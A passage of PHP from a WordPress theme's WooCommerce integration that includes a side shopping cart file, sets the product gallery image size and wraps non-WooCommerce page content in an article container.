$prod_term=get_term( $cat_id,'product_cat' );
$description=$prod_term->description;
if ( ! empty( $description ) ) {
echo '<div class="category-desc">'. esc_textarea( $description ) .'</div>';
}
}*/
/**
* Shopping Cart.
*/
require_once( 'woocommerce/inc/woocommerce-side-shopping-cart.php' );
/**
* Single Product Thumbnail
* change size from `thumbnail` to `large`
*/
function smwc_gallery_image_size() {
$image = 'woocommerce_single';
return $image;
}
add_filter( 'woocommerce_gallery_image_size', 'smwc_gallery_image_size' );
endif;
/**
* Wrap the page content in a container if the page is not a WooCommerce template
*/
function entry_content( $content ) {
if ( class_exists ( 'WooCommerce' ) && is_really_woocommerce_page () || ! is_page() ) {
return $content;
} else {
return '<article class="entry-content">'.$content.'</article>';
}
}
add_action('the_content','entry_content');